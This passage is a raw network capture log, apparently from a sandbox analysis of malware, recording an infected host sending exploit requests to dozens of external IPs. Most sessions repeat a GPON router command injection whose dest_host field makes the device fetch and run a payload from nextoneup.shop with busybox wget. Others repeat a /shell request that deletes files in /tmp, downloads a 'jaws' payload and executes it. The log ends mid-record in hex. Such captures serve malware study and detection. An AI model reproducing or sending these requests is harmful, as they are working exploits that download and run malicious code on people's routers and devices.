Apr 14, 2024 04:00:28.904788971 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1033	192.168.2.13	47116	37.147.53.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904784918 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1034	192.168.2.13	50602	109.119.42.202	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904810905 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1035	192.168.2.13	38762	94.197.122.228	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904830933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1036	192.168.2.13	54124	202.232.82.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904844046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1037	192.168.2.13	54420	5.238.253.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904844046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1038	192.168.2.13	33014	118.145.201.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904846907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1039	192.168.2.13	49126	212.159.165.118	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904865026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1040	192.168.2.13	56256	178.68.252.96	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904889107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1041	192.168.2.13	48750	210.29.160.128	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904901981 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1042	192.168.2.13	45534	178.47.106.110	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904930115 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1043	192.168.2.13	42788	123.170.83.4	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904953957 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1044	192.168.2.13	36650	94.119.51.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904964924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1045	192.168.2.13	60176	79.158.47.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904999018 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1046	192.168.2.13	40194	37.25.6.98	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.905019045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1047	192.168.2.13	43794	37.42.116.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.905040979 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1048	192.168.2.13	43708	148.211.128.61	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.905067921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1049	192.168.2.13	58378	117.203.199.212	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.905131102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1050	192.168.2.13	34314	5.163.41.138	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.905137062 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1051	192.168.2.13	43336	47.225.41.28	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.271231890 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:29.530911922 CEST	206	IN	HTTP/1.1 307 Temporary Redirect Location: /0.1/gui/?item=shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:00:30 GMT Server: HTTP Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
1052	192.168.2.13	43072	119.204.215.178	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.326924086 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:29.732286930 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:30.696407080 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:32.584306955 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.456331968 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:44.136284113 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:59.240251064 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:30.216206074 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1053	192.168.2.13	46326	52.212.19.165	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.340778112 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:29.663284063 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:00:29 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1054	192.168.2.13	52858	106.55.143.9	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.351908922 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:29.693783998 CEST	234	IN	HTTP/1.1 308 Permanent Redirect Connection: close Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Server: Caddy Date: Sun, 14 Apr 2024 02:00:29 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1055	192.168.2.13	44460	89.161.252.119	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.353785038 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1056	192.168.2.13	57520	77.51.82.198	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.368515968 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:29.719815016 CEST	758	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 14 Apr 2024 02:00:22 GMT Content-Type: text/html Content-Length: 513 Last-Modified: Sat, 20 Jan 2024 09:36:16 GMT Connection: keep-alive Keep-Alive: timeout=20 Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 68 74 74 70 22 20 6e 61 6d 65 3d 22 68 74 74 70 22 20 76 61 6c 75 65 3d 22 35 30 30 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 68 74 74 70 73 22 20 6e 61 6d 65 3d 22 68 74 74 70 73 22 20 76 61 6c 75 65 3d 22 35 30 30 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 